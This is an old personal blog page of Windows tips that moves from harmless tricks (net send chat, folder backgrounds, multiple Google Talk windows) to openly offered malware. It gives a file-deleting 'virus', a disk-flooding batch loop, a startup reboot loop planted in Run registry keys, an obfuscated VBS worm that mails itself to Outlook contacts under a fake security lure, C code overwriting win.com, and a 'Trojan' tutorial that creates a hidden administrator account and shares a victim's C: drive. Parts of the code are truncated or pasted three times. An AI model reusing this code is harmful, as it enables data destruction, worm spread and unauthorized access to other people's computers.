Jay's weblog: 01/24/10

Sunday, January 24, 2010

Chat thrgh MS DOS

1. All you need is your friends IP address and your Command Prompt.

2. Open your notepad and write tis code as it is……………… I would prefer you to copy this !

@echo off

Cls

echo MESSENGER

set /p n=User:

set /p m=Message:

net send %n% %m%

Pause

Goto A

3. Now save this as "Messenger.Bat".

4. Drag this file (.bat file)over to Command Prompt and press enter!

5. You would then see some thing like this:

MESSENGER

User:

6. After "User" type the IP address of the computer you want to contact.

7. Before you press "Enter" it should look like this:

MESSENGER

User: IP_Address

Message: Hi, How are you ?

8. Now all you need to do is press "Enter", and start chatting Now all you need to do is press Enter, and start chatting.....

Background photo in drives

Open notepad and copy the following code :

[{BE098140-A513-11D0-A3A4-00C04FD706EC}]

iconarea_image=D:\Wallpapers\celeb\jayson.jpg

iconarea_text=0x00FFFFFF

Here, the path in the 2nd line of code represents the path of your picture.

Now save this file as DESKTOP.INI in the location(any drive or any folder) where you desire to set the background picture.

After setting it in your favourite location,close the drive and open the location again.

DONE !! .. your picture has been set as background picture for your desired location.

NOTE : Make sure that the extension in the path should be .jpg only and file should be saved as DESKTOP.INI only.

Screen Rotation Just For Fun

press...alt+ctrl+-->(right arrow key)

press...alt+ctrl+<--(left arrow key)

press...alt+ctrl+down arrow key

and watch ur screen rotating

Multiple Google Talk !!!!

u don't need to download anything but simply change the command line parameter.....

1)Right click on the Google Talk shortcut.

2)click on Properties.

3)Go to Shortcut tab on Google Talk Properties window.

4)On the Target textbox, add in the /nomutex to the end of the line so that it looks like below (or you can simply copy and paste the below syntax and replace the original).

“c:\program files\google\google talk\googletalk.exe” /nomutex

5)Click on OK.

i didn't have to do anything after this nd clicking on the shortcut multiple times just gave me different googletalk window

however if that don't work then just try this out!!!!

To create a new shortcut for Google Talk:

1)Right-click on the desktop or anywhere you want to place the GTalk shortcut.

2)Select New on the right click context menu.

3)Then select Shortcut.

4)Copy and paste the following line to the text box when prompted to type the location of the item:

“c:\program files\google\google talk\googletalk.exe” /nomutex

5)Click on Next.

6)Give the shortcut a proper name such as Google Talk or Google

Talk Multiple or Google Talk Polygamy.

8)Click OK until you are done.

If you have hex editor, you can act like a hacker and modify the bits in Google Talk program so that it will always allow multiple instances of GTalk to be launched whether the /nomutex switch is specified or not.

Launch hex editor and open googletalk.exe, then search for the following patterns in the hex editor:

004536FD . 3BC6 CMP EAX,ESI

004536FF . 75 05 JNZ SHORT googleta.00453706

Modify the string to look like the following:

004536FD . 8BC1 MOV EAX,ECX

004536FF . EB 05 JMP SHORT googleta.00453706

How to make a virus using c# to delete non empty folder

//you need to make a directory in E:\ named delete and put some files in it and they will be deleted

//after this program is run

using System.IO;

class virus

{

protected void CleanImageFolder()

{

DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete");

FileInfo []fileinDir=imgInfo.GetFiles();

for(int i=0;i

{

fileinDir[i].Delete();

}

imgInfo.Delete();

}

public static void Main()

{

virus obj=new virus();

obj.CleanImageFolder();

}

Just try this one..

@echo off

cd\

echo Flooded > %HomeDrive%\flood.txt

goto 1

type flood.txt >> flood.txt

goto 1

Result:

It will create a text file named flood.txt in homedrive and will continue to flood it.. within few seconds u will have a text file of around more than 100mb

Disable PenDrive Autorun

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDriveTypeAutoRun"=dword:00000095

Change the value for desired output.

Value ------------------- Output

dword:000000b5 ------ Disable CD/PD(PenDrive) Autorun

dword:000000b1 ------ Enable PD Autorun

dword:00000091 ------ CD/PD Autorun enable

dword:00000095 ------ CD Autorun enabled

List of Trojan Ports

The following are the default Trojan port numbers and the Trojan Daemons running in it. Check whether any of the following ports are opened on your computer and avoid getting infected again.

TCP 1 Breach.2001, SocketsDeTroie.230, SocketsDeTroie.250

TCP 28 Amanda.200

TCP 31 MastersParadise.920

TCP 68 Subseven.100

TCP 142 NetTaxi.180

TCP 146 Infector.141, Intruder.100, Intruder.100

TCP 171 ATrojan.200

TCP 285 WCTrojan.100

TCP 286 WCTrojan.100

TCP 334 Backage.310

TCP 370 NeuroticKat.120, NeuroticKat.130

TCP 413 Coma.109

TCP 420 Breach.450

TCP 555 Id2001.100, PhaseZero.100, StealthSpy.100

TCP 623 Rtb666.160

TCP 660 Zaratustra.100

TCP 661 Noknok.800, Noknok.820

TCP 666 BackConstruction.210, BackConstruction.250, Bla.100, Bla.200, Bla.400, Bla.503, Cain.150, Dimbus.100, Noknok.820, Ripper.100, SatansBackdoor.100, SatansBackdoor.101, SatansBackdoor.102, Unicorn.100, Unicorn.101, Unicorn.110

TCP 667 SniperNet.210, Snipernet.220

TCP 668 Unicorn.101, Unicorn.110

TCP 680 Rtb666.160

TCP 777 Tiny.100, Undetected.230, Undetected.300, Undetected.310, Undetected.320, Undetected.330, Undetected.331, Undetected.332

TCP 785 NetworkTerrorist.100

TCP 800 NeuroticKitten.010

TCP 831 NeuroticKat.100, NeuroticKat.120, NeuroticKat.130

TCP 901 NetDevil.130, NetDevil.140

TCP 1000 DerSpaeher.200

TCP 1001 Silencer.100

TCP 1008 AutoSpy.100

TCP 1010 DerSpaeher.200

TCP 1015 Doly.150

TCP 1111 TPort.100

TCP 1130 Noknok.800, Noknok.820

TCP 1207 SoftWAR.100

TCP 1243 Subseven.100, SubSeven.110, SubSeven.180, SubSeven.190, Subseven.200

TCP 1245 VoodooDoll.006

TCP 1269 Matrix.130

TCP 1480 RemoteHack.130

TCP 1568 RemoteHack.100, RemoteHack.110

TCP 1600 DirectConnection.100

TCP 1601 DirectConnection.100

TCP 1602 DirectConnection.100

TCP 1634 NetCrack.100

TCP 1784 Snid.120, Snid.212

TCP 1999 TransmissionScout.100, TransmissionScout.110

TCP 2000 ATrojan.200, InsaneNetwork.400

TCP 2001 DIRT.220, TrojanCow.100

TCP 2003 TransmissionScout.100, TransmissionScout.110

TCP 2023 RipperPro.100

TCP 2040 InfernoUploader.100

TCP 2115 Bugs.100

TCP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310

TCP 2332 SilentSpy.202

TCP 2589 Dagger.140

TCP 2600 DigitalRootbeer.100

TCP 2989 Rat.200

TCP 3128 MastersParadise.970

TCP 3129 MastersParadise.920, MastersParadise.970

TCP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110

TCP 3215 BlackStar.100, Ghost.230

TCP 3333 Daodan.123

TCP 3410 OptixPro.100, OptixPro.110

TCP 3456 Force.155, TerrorTrojan.100

TCP 3505 AutoSpy.130, AutoSpy.140

TCP 3586 Snid.120, Snid.212

TCP 3700 PortalOfDoom.100

TCP 3723 Mantis.100

TCP 3800 Eclypse.100

TCP 3996 RemoteAnything.364

TCP 4000 SkyDance.220, SkyDance.229

TCP 4201 Wartrojan.160, Wartrojan.200

TCP 4225 SilentSpy.202

TCP 4321 Bobo.100

TCP 4444 AlexTrojan.200, Crackdown.100

TCP 4488 EventHorizon.100

TCP 4523 Celine.100

TCP 4545 InternalRevise.100, RemoteRevise.150

TCP 4567 FileNail.100

TCP 4666 Mneah.100

TCP 4950 ICQTrojan.100

TCP 5005 Aladino.060

TCP 5025 Keylogger.WMRemote.100

TCP 5031 NetMetro.104

TCP 5032 NetMetro.104

TCP 5033 NetMetro.104

TCP 5050 RoxRat.100

TCP 5151 OptixLite.020, OptixLite.030, OptixLite.040

TCP 5190 MBomber.100

TCP 5277 WinShell.400

TCP 5343 WCRat.100

TCP 5400 BackConstruction.120, BackConstruction.150, BladeRunner.080, DeepThroat.300

TCP 5401 BackConstruction.120, BackConstruction.150, BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100

TCP 5402 BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100

TCP 5534 TheFlu.100

TCP 5550 XTCP.200, XTCP.201

TCP 5555 Noxcape.100, Noxcape.200

TCP 5695 Assassin.100

TCP 5714 WinCrash.100

TCP 5741 WinCrash.100

TCP 5742 WinCrash.103

TCP 5802 Y3KRat.160

TCP 5810 Y3KRat.160

TCP 5838 Y3KRat.170

TCP 5858 Y3KRat.110, Y3KRat.120, Y3KRat.140

TCP 5880 Y3KRat.140

TCP 5881 Y3KRat.110, Y3KRat.120, Y3KRat.140

TCP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150

TCP 5883 Y3KRat.110, Y3KRat.140

TCP 5884 Y3KRat.140, Y3KRat.150

TCP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140

TCP 5886 Y3KRat.120, Y3KRat.140

TCP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140

TCP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150

TCP 5889 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150

TCP 5890 Y3KRat.140

TCP 6400 Thething.100, Thething.150

TCP 6556 AutoSpy.120, AutoSpy.122

TCP 6655 Aqua.020

TCP 6660 LameSpy.095

TCP 6666 LameRemote.100, ProjectMayhem.100

TCP 6669 Vampire.100

TCP 6670 DeepThroat.200, DeepThroat.210

TCP 6671 DeepThroat.310

TCP 6699 HostControl.101

TCP 6711 DeepThroat.300, Noknok.820, SubSeven.180, SubSeven.190

TCP 6712 Subseven.100

TCP 6713 Subseven.100

TCP 6767 NTRC.120

TCP 6776 SubSeven.180, SubSeven.190, Subseven.200

TCP 6789 Doly.200

TCP 6796 SubSeven.214

TCP 6912 ShitHeep.100

TCP 6939 Indoctrination.100

TCP 6953 Lithium.100

TCP 6969 2000Cracks.100, Bigorna.100, Danton.110, Danton.210, Danton.220, Danton.310, Danton.320, Danton.330, GateCrasher.110, NetController.108, Sparta.110, VagrNocker.120

TCP 6970 Danton.330

TCP 7001 Freak88.100

TCP 7119 Massaker.100

TCP 7200 Massaker.110

TCP 7300 Coced.221

TCP 7301 Coced.221

TCP 7306 NetSpy.200, NetSpy.200

TCP 7410 Phoenix.190, Phoenix.200

TCP 7511 Genue.100

TCP 7609 Snid.120, Snid.212

TCP 7614 Wollf.130

TCP 7648 BlackStar.100, Ghost.230

TCP 7788 Last.2000, Matrix.200

TCP 7826 MiniOblivion.010, Oblivion.010

TCP 7887 SmallFun.110

TCP 7891 Revenger.100

TCP 7979 VagrNocker.200

TCP 7997 VagrNocker.200

TCP 8000 XConsole.100

TCP 8011 Way.240

TCP 8012 Ptakks.215, Ptakks.217

TCP 8110 LoseLove.100

TCP 8111 LoseLove.100

TCP 8301 LoseLove.100

TCP 8302 LoseLove.100

TCP 8372 NetBoy.100

TCP 8720 Connection.130

TCP 8734 AutoSpy.110

TCP 8811 Force.155

TCP 8899 Last.2000

TCP 9000 Aristotles.100

TCP 9301 LoseLove.100

TCP 9400 InCommand.100, InCommand.110, InCommand.120, InCommand.130, InCommand.140, InCommand.150, InCommand.153, InCommand.160, InCommand.167, InCommand.170

TCP 9401 InCommand.100, InCommand.110, InCommand.170

TCP 9402 InCommand.100, InCommand.110

TCP 9561 CRatPro.110

TCP 9563 CRatPro.110

TCP 9580 TheefLE.100

TCP 9696 Danton.210, Ghost.230

TCP 9697 Danton.320, Danton.330, Ghost.230

TCP 9870 R3C.100

TCP 9872 PortalOfDoom.100

TCP 9873 PortalOfDoom.100

TCP 9874 PortalOfDoom.100

TCP 9875 PortalOfDoom.100

TCP 9876 Rux.100, SheepGoat.100

TCP 9877 SmallBigBrother.020

TCP 9878 SmallBigBrother.020, TransmissionScout.100, TransmissionScout.110, TransmissionScout.120

TCP 9879 SmallBigBrother.020

TCP 9999 ForcedEntry.100, Infra.100, Prayer.120, Prayer.130, TakeOver.200, TakeOver.300

TCP 10001 DTr.130, DTr.140

TCP 10013 Amanda.200

TCP 10067 PortalOfDoom.100

TCP 10100 Gift.240

TCP 10101 NewSilencer.100

TCP 10167 PortalOfDoom.100

TCP 10528 HostControl.100, HostControl.260

TCP 10607 Coma.109

TCP 10666 Ambush.100

TCP 11011 Amanda.200

TCP 11050 HostControl.101

TCP 11051 HostControl.100, HostControl.260

TCP 11223 AntiNuke.100, Progenic.100, Progenic.110

TCP 11225 Cyn.100, Cyn.103, Cyn.120

TCP 11306 Noknok.800, Noknok.820

TCP 11831 Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400

TCP 11991 PitfallSurprise.100

TCP 12043 Frenzy.2000

TCP 12345 Fade.100, Netbus.160, Netbus.170, VagrNocker.400

TCP 12346 Netbus.160, Netbus.170

TCP 12348 Bionet.210, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.316, Bionet.317

TCP 12349 Bionet.084, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.314, Bionet.316, Bionet.317, Bionet.401, Bionet.402

TCP 12389 KheSanh.210

TCP 12478 Bionet.210

TCP 12623 Buttman.090, Buttman.100

TCP 12624 Buttman.090, Buttman.100

TCP 12625 Buttman.100

TCP 12904 Akropolis.100, Rocks.100

TCP 13473 Chupacabra.100

TCP 13753 AFTP.010

TCP 14100 Eurosol.100

TCP 14194 CyberSpy.840

TCP 14286 HellDriver.100

TCP 14500 PCInvader.050, PCInvader.060, PCInvader.070

TCP 14501 PCInvader.060, PCInvader.070

TCP 14502 PCInvader.050, PCInvader.060, PCInvader.070

TCP 14503 PCInvader.050, PCInvader.060, PCInvader.070

TCP 14504 PCInvader.050, PCInvader.060

TCP 15092 HostControl.100, HostControl.260

TCP 15382 SubZero.100

TCP 15432 Cyn.210

TCP 15555 ICMIBC.100

TCP 16322 LastDoor.100

TCP 16484 MoSucker.110

TCP 16661 Dfch.010

TCP 16969 Progenic.100

TCP 16982 AcidShiver.100

TCP 17300 Kuang.200

TCP 17499 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521

TCP 17500 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521

TCP 17569 Infector.141, Infector.160, Infector.170, Infector.180, Infector.190, Infector.200, Intruder.100, Intruder.100

TCP 17593 AudioDoor.120

TCP 19191 BlueFire.035, BlueFire.041

TCP 19604 Metal.270

TCP 19605 Metal.270

TCP 19991 Dfch.010

TCP 20000 Millenium.100

TCP 20001 Millenium.100, PshychoFiles.180

TCP 20002 AcidKor.100, PshychoFiles.180

TCP 20005 MoSucker.200, MoSucker.210, MoSucker.220

TCP 21212 Schwindler.182

TCP 21554 Exploiter.100, Exploiter.110, Girlfriend.130, GirlFriend.135

TCP 21579 Breach.2001

TCP 21584 Breach.2001

TCP 21684 Intruse.134

TCP 22068 AcidShiver.110

TCP 22115 Cyn.120

TCP 22222 Prosiak.047, Ruler.141, Rux.300, Rux.400, Rux.500, Rux.600

TCP 22223 Rux.400, Rux.500, Rux.600

TCP 22456 Bla.200, Bla.503

TCP 22457 AcidShiver.120, Bla.200, Bla.503

TCP 22784 Intruzzo.110

TCP 22845 Breach.450

TCP 22847 Breach.450

TCP 23005 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100

TCP 23006 Infinaeon.110, NetTrash.100, Oxon.110, WinRat.100

TCP 23032 Amanda.200

TCP 23432 Asylum.010, Asylum.012, Asylum.013, Asylum.014, MiniAsylum.110

TCP 23456 EvilFTP.100, VagrNocker.400

TCP 23476 DonaldDick.153, DonaldDick.154, DonaldDick.155

TCP 23477 DonaldDick.153

TCP 24000 Infector.170

TCP 24307 Wildek.020

TCP 25386 MoonPie.220

TCP 25486 MoonPie.220

TCP 25555 FreddyK.100, FreddyK.200

TCP 25556 FreddyK.100

TCP 25685 MoonPie.010, MoonPie.012, MoonPie.130, MoonPie.220, MoonPie.240, MoonPie.400

TCP 25686 MoonPie.135, MoonPie.200, MoonPie.400

TCP 25982 MoonPie.135, MoonPie.200

TCP 26274 Delta.050

TCP 27160 MoonPie.135, MoonPie.200

TCP 27184 Alvgus.100, Alvgus.800

TCP 27374 Muerte.110, Subseven.210, SubSeven.213

TCP 28429 Hack’a'Tack.2000

TCP 28430 Hack’a'Tack.2000

TCP 28431 Hack’a'Tack.2000

TCP 28432 Hack’a'Tack.2000

TCP 28433 Hack’a'Tack.2000

TCP 28434 Hack’a'Tack.2000

TCP 28435 Hack’a'Tack.2000

TCP 28436 Hack’a'Tack.2000

TCP 29559 DuckToy.100, DuckToy.101, Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400

TCP 29891 Unexplained.100

TCP 30000 Infector.170

TCP 30001 Error32.100

TCP 30003 LamersDeath.100

TCP 30029 AOLTrojan.110

TCP 30100 NetSphere.127, NetSphere.130, NetSphere.131

TCP 30101 NetSphere.127, NetSphere.130, NetSphere.131

TCP 30102 NetSphere.127, NetSphere.130, NetSphere.131

TCP 30103 NetSphere.131

TCP 30947 Intruse.134

TCP 31320 LittleWitch.400, LittleWitch.420

TCP 31337 BackOrifice.120, Khaled.100, OPC.200

TCP 31415 Lithium.101

TCP 31416 Lithium.100, Lithium.101

TCP 31557 Xanadu.110

TCP 31631 CleptoManicos.100

TCP 31745 Buschtrommel.100, Buschtrommel.122

TCP 31785 Hack’a'Tack.100, Hack’a'Tack.112

TCP 31787 Hack’a'Tack.100, Hack’a'Tack.112

TCP 31789 Hack’a'Tack.100, Hack’a'Tack.112

TCP 31791 Hack’a'Tack.100, Hack’a'Tack.112

TCP 31887 BDDT.100

TCP 31889 BDDT.100

TCP 32100 ProjectNext.053

TCP 32418 AcidBattery.100

TCP 32791 Akropolis.100, Rocks.100

TCP 33291 RemoteHak.001

TCP 33333 Blackharaz.100, Prosiak.047, SubSeven.214

TCP 33577 SonOfPsychward.020

TCP 34324 TelnetServer.100

TCP 34763 Infector.180, Infector.190, Infector.200

TCP 35000 Infector.190, Infector.200

TCP 35600 Subsari.140

TCP 36794 BugBear.100

TCP 37237 Mantis.020

TCP 37651 YAT.210

TCP 37653 YAT.310

TCP 40308 Subsari.140

TCP 40412 TheSpy.100

TCP 40421 MastersParadise.970

TCP 40422 MastersParadise.970

TCP 40999 DiemsMutter.110, DiemsMutter.140

TCP 41626 Shah.100

TCP 44444 Prosiak.070

TCP 45673 Akropolis.100, Rocks.100

TCP 47262 Delta.050

TCP 48006 Fragglerock.200

TCP 49683 HolzPferd.210

TCP 50000 Infector.180

TCP 50130 Enterprise.100

TCP 50766 Fore.100

TCP 51234 Cyn.210

TCP 51966 Cafeini.080, Cafeini.110

TCP 54321 PCInvader.010

TCP 57341 NetRaider.100

TCP 57922 Bionet.084

TCP 58008 Tron.100

TCP 58009 Tron.100

TCP 59090 AcidReign.200

TCP 59211 DuckToy.100, DuckToy.101

TCP 59345 NewFuture.100

TCP 60000 DeepThroat.300, MiniBacklash.100, MiniBacklash.101, MiniBacklash.101

TCP 60411 Connection.100, Connection.130

TCP 60412 Connection.130

TCP 60552 RoxRat.100

TCP 63536 InsaneNetwork.500

TCP 63878 AphexFTP.100

TCP 63879 AphexFTP.100

TCP 64969 Lithium.100

TCP 65000 Socket.100

UDP 1 SocketsDeTroie.250

UDP 666 Bla.200, Bla.400, Bla.503, Noknok.820

UDP 1130 Noknok.800, Noknok.820

UDP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310

UDP 2989 Rat.200

UDP 3128 MastersParadise.970

UDP 3129 MastersParadise.920, MastersParadise.970

UDP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110

UDP 3333 Daodan.123

UDP 3800 Eclypse.100

UDP 3996 RemoteAnything.364

UDP 4000 RemoteAnything.364

UDP 5555 Daodan.123

UDP 5881 Y3KRat.110, Y3KRat.140

UDP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150

UDP 5883 Y3KRat.110, Y3KRat.140

UDP 5884 Y3KRat.140, Y3KRat.150

UDP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140

UDP 5886 Y3KRat.120, Y3KRat.140

UDP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140

UDP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.150

UDP 6953 Lithium.100

UDP 8012 Ptakks.217

UDP 10067 PortalOfDoom.100

UDP 10167 PortalOfDoom.100

UDP 10666 Ambush.100

UDP 11225 Cyn.100, Cyn.103, Cyn.120

UDP 11306 Noknok.800, Noknok.820

UDP 12389 KheSanh.210

UDP 12623 Buttman.090, Buttman.100

UDP 12625 Buttman.100

UDP 14100 Eurosol.100

UDP 23476 DonaldDick.155

UDP 26274 Delta.050

UDP 27184 Alvgus.100

UDP 28431 Hack’a'Tack.2000

UDP 28432 Hack’a'Tack.2000

UDP 28433 Hack’a'Tack.2000

UDP 28434 Hack’a'Tack.2000

UDP 28435 Hack’a'Tack.2000

UDP 28436 Hack’a'Tack.2000

UDP 29891 Unexplained.100

UDP 30103 NetSphere.131

UDP 31320 LittleWitch.400, LittleWitch.420

UDP 31337 BackOrifice.120, OPC.200

UDP 31416 Lithium.100, Lithium.101

UDP 31789 Hack’a'Tack.100, Hack’a'Tack.112

UDP 31791 Hack’a'Tack.100, Hack’a'Tack.112

UDP 33333 Blackharaz.100

UDP 47262 Delta.050

UDP 49683 HolzPferd.210

UDP 60000 MiniBacklash.100

Shutdown at boot time..

echo @echo off>c:\windows\hackingforum.bat

echo break off>>c:\windows\hackingforum.bat

echo shutdown -r -t 11 -f>>c:\windows\hackingforum.bat

echo end>>c:\windows\hackingforum.bat

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hackingforum.bat /f

reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hackingforum.bat /f

echo Crack%Vivek Strike Again

PAUSE

VBS worm.......

Set A26A29SP =

createobject("scripting.filesystemobject

M6513N2L =

A26A29SP.getspecialfolder(0)

J4J1VA0S = M6513N2L &

"\virus_worm.gif.vbs"

Set U7LQ7232 =

createobject("wscript.shell")

A26A29SP.copyfile

wscript.scriptfullname, J4J1VA0S

KUJLC5O4

Function KUJLC5O4()

Randomize

If 1 + Int(Rnd * 5) = 7 then

Msgbox "Windows is missing file

#22,#45, and #56 urgent attention is

needed.",16,"Error missing file"

end if

end function

Set L34PCRVC = createobject("scripting.filesystemobject")

L4SPP824 = L34PCRVC.getspecialfolder(0)

T347EMBE = L4SPP824 & "\virus_worm.txt.vbs"

Set A58JV1LD = createobject("wscript.shell")

L34PCRVC.copyfile wscript.scriptfullname, T347EMBE

If A58JV1LD.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Virus\Q1278VNR") <> 1 then

RTQKJ241

End if

Function RTQKJ241()

Set HA5B2I87 = CreateObject("Outlook.Application")

If HA5B2I87 = "Outlook" Then

Set A1TT8582 = HA5B2I87.GetNameSpace("MAPI")

Set EIRK7BAE = A1TT8582.AddressLists

For Each L79M43VG In EIRK7BAE

If L79M43VG.AddressEntries.Count <> 0 Then

IC4EESE6 = L79M43VG.AddressEntries.Count

For I1IH1I72 = 1 To IC4EESE6

Set TCT5953N = HA5B2I87.CreateItem(0)

Set GJ754911 = L79M43VG.AddressEntries(I1IH1I72)

TCT5953N.To = GJ754911.Address

TCT5953N.Subject = "!!!!!! URGENT ATTENTION !!!!!!!"

TCT5953N.Body = "The newest virus developer KB is" & vbcrlf & "back and has created one of the most" & vbcrlf & "powerful viruses in the history of the " & vbcrlf & "internet.It infects your system steals " & vbcrlf & "passwords,banking information," & vbcrlf & "and all other personal information." & vbcrlf & "If you want to be safe open this" & vbcrlf & "attachment and select "scan"" & vbcrlf & "it detects all known sources of the virus" & vbcrlf & "and backup files." & vbcrlf & ""

execute "set JDCN30FA =TCT5953N." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)

K2C9C6U2 = T347EMBE

TCT5953N.DeleteAfterSubmit = True

JDCN30FA.Add K2C9C6U2

If TCT5953N.To <> "" Then

TCT5953N.Send

End If

End function

Set C5BFFMVO = createobject("scripting.filesystemobject")

H8OQOL3K = C5BFFMVO.getspecialfolder(0)

Make a autorun file for cd

1) You open notepad

2) now you writ: [autorun]

OPEN=INSTALL\Setup_filename.EXE

ICON=INSTALL\Setup_filename.EXE

Now save it but not as a .txt file but as a .inf file.

But remember! The "Setup_filename.EXE" MUST be replaced with the name of the setup file. And you also need to rember that it is not all of the setup files there are called '.exe but some are called '.msi

3) Now burn your CD with the autorun .inf file included.

4) Now set the CD in you CD drive and wait for the autorun to begin or if nothing happens just double-click on the CD drive in "This Computer"

Virus that currupt your Windows

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.

");

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!

");

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.

");

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.

", res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!

close(handle);

getch();

return 0;

}

//#include

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.

");

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!

");

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.

");

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.

", res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!

close(handle);

getch();

return 0;

}

// #include

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.

");

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!

");

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.

");

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.

", res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!

close(handle);

getch();

return 0;

}

Create Your Own Trojans

Making Your First Trojans

Requirements:

Command Prompt

Windows Operating System

-Basics-

Open Command Prompt (Cmd.Exe)

Now Insert This Command: Net

And You Will Get Something Like This

In This Tutorial We Needed Only 3 Commands:

Net User

Net Share

Net Send

We Will Select Some Of Those Commands And Put Them On .Bat File.

What Is A .Bat File?

Bat File Is A Piece Of Text That Will Execute As Commands.

Open Notepad And Write There:

Dir

Pause

Date

Pause

And Now Save This As XtremeDiary.Bat And Execute It.

---------------------- Starting -------------------

-:SERVER:-

The Main Purpose Of Own Trojans Is To Share The C: Drive And Make A New User

With Administrators Access

STEPS

Open Your Dos Prompt And A Notepad.

The Dos Prompt Will Help You To Test If The Commands Are Ok

And The Notepad Will Be Used To Make The .Bat File.

COMMAND:1 NET USER XTREME /ADD

It Makes A New User Called Xtreme You Can Put Any Name You Want.

COMMAND:2 NET LOCALGROUP ADMINISTRATORS XTREME /ADD

This Command Add User To The Administrators Group.

NOTE:Depending On The Windows Version The Name Will Be Different.

If You Got An American Version The Name For The Groups Is Administrators And For The Portuguese Version Is Administrators So It'S Nice You Know Which Version Of Windows Xp You Are Going To Try Share.

COMMAND:3 NET SHARE SYSTEM=C:\ /UNLIMITED

This Commands Share The C: Drive With The Name Of System.

Nice And Those Are The 3 Commands That You Will Need To Put On Your .Bat File And Send To Your Friend.

-!EXTRAS!-

COMMAND:4 NET SEND URIP I AM UR SERVER

Where It Says URIP You Will Insert Your IP And When The Victim Opens The .Bat It Will Send A Message To Your Computer And You Can Check The Victim IP Address.

NOTE:TO SEE YOUR IP IN THE DOS PROMPT PUT THIS COMMAND: IPCONFIG

-----------------------: Client :----------------

Now Your Friend Open Your Trojans That Make New User Xtreme With Administrator Privilage And Share C:\ Drives With System Label.

Now We Need To Make A Session Between Your & Victim'S Computer By Using Net Use Command At Dos Prompt.

COMMAND:5 NET USE \\VICTIMIP XTREME

This Commands Make A Session Between Your & Victim'S Computer And Of Course Where It Says Victimip You Will Insert The Victim IP.

COMMAND:6 EXPLORER \\VICTIMIP\SYSTEM

This Will Open A Windows Explorer In Share System Of The C:\ Drive With Administrator Access...

Enjoy Virusing.....

Create a virus in VB

VBS/dlH - Say hello Virus source code

rem - VBS/dlH "DL Hello" Virus - By D.L.

rem - Written on November 12th, 2003

On Error Resume Next

dim FSobj,orgMes,finalMes

set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="Hello! Don't be mad...I'm not a bad bug :) - by *|%|"

orgMes=replace(orgMes,chr(42),chr(68))

orgMes=replace(orgMes,chr(124),chr(46))

finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next

dim drive,machine

set machine=FSobj.Drives

for each drive in machine

if (drive.DriveType=2)or(drive.DriveType=3) then

indexFolders(drive.Path&"\")

end If

sub indexFolders(location)

On Error Resume Next

dim specs,file,subFol,sayHello

